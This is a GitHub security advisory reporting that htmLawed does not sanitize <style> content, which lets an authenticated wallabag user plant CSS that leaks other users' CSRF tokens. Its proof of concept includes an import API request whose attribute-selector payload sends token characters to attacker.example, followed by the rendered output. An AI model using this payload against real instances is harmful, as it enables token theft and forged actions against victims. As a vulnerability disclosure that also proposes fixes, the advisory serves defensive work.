Skip to main content
Menu
Advisories

CSS injection via unsanitized <style> element in htmlawed enables CSRF token theft in wallabag

GHSA-HJ75-9VMQ-M8HMPublished Updated GitHub

Description

The HTML sanitizer htmLawed (fossar/htmlawed) does not inspect the content of <style> elements even in its maximum-protection safe=1 mode. wallabag sanitizes user-imported entry content through graby -> htmLawed (graby config: safe=1, elements=*+iframe-meta), so an authenticated user can inject a <style> block via the entry import API (POST /api/entries.json). The CSS survives sanitization, is stored, and is rendered unescaped on entry pages that also contain CSRF token inputs. CSS attribute selectors can then exfiltrate each character of a victim's CSRF tokens (input[name=token][value^=X]{background:url(//attacker/N)}), enabling forged state-changing requests (archive/star/delete/reload entry) on behalf of other users.

Details

  1. htmLawed safe=1 filters event-handler attributes (on*), neutralizes javascript: URL schemes, and removes dangerous elements (svg/math/object/embed/meta), but the content of <style> elements is never checked. CSS such as url(javascript:...), expression(), @import, and attribute-selector exfiltration rules pass through verbatim. (77 payload families tested with the exact graby configuration: event handlers, javascript: variants, entity encodings, srcset, HTML5 elements, double-encoding — the <style> element content was the only surface fully bypassing the filter.)
  2. graby src/Graby.php cleanupXss():
return htmLawed($html, [
    'safe' => 1,
    'elements' => '*+iframe-meta',   // '*' keeps the <style> element
    'deny_attribute' => 'style,srcdoc',
    'comment' => 1, 'cdata' => 1,
]);
  1. wallabag renders entry content unescaped (templates/Entry/entry.html.twig, {{ entry.content|raw }}). The entry page contains multiple <input type="hidden" name="token" value="{{ csrf_token(...) }}"> fields in the same DOM, so injected CSS selectors match them. A CSRF token (43-char base64url alphabet) can be reconstructed with at most 64 requests per position (one request per matching prefix).

Affected: wallabag versions using graby with htmLawed sanitization (all current versions); the root cause is in fossar/htmlawed (all versions).

PoC

Verified 2026-08-01 against the official docker image (wallabag/wallabag:latest, default configuration).

Step 1 — authenticated import (OAuth2 password grant):

POST /api/entries.json
{"url":"https://example.com/t",
 "content":"<p>hello</p><style>input[name=token][value^=a]{background:url(//attacker.example/e/0)}input[name=token][value^=b]{background:url(//attacker.example/e/1)}</style>"}

Response: HTTP 200, entry stored — the <style> block survives htmLawed verbatim (only a harmless scoped attribute is added).

Step 2 — rendered page (authenticated victim session, /view/{id}):

<style scoped="scoped">input[name=token][value^=a]{background:url(//attacker.example/e/0)}...</style>
<input type="hidden" name="token" value="8suZwLXLtgy2tNkUIPkCBrdrj99UbS44lCenHPu14jY"/>
<input type="hidden" name="token" value="Ngo_ZkKKDGUHiiNIN8NyHuKTIfAyTDpdqkwao-R2b8s"/>
<input type="hidden" name="token" value="y05vjQDTOQJ6qvMVadrxUgX42tJ6veDmmUs95D9_7UI"/>

Three CSRF tokens coexist with the injected stylesheet in the same DOM; the attacker's server receives one request per matching character and reconstructs each token.

Impact

On shared wallabag instances, a low-privilege authenticated user can poison an entry that, when viewed by another user (e.g. an administrator), leaks that user's CSRF tokens character-by-character. The tokens enable forged state-changing requests (archive, star, delete, reload entry) on behalf of the victim. The attack is blind (CSS-based, no script execution), so severity is Medium. The root cause is the htmLawed library; downstream graby-based consumers beyond wallabag are likewise exposed. Fixes: sanitize or drop <style> elements in safe=1 mode (library), change graby elements to an explicit allowlist, and/or serve entry pages with Content-Security-Policy: style-src 'none'.

Affected versions

References

GitHub · j0k3r/graby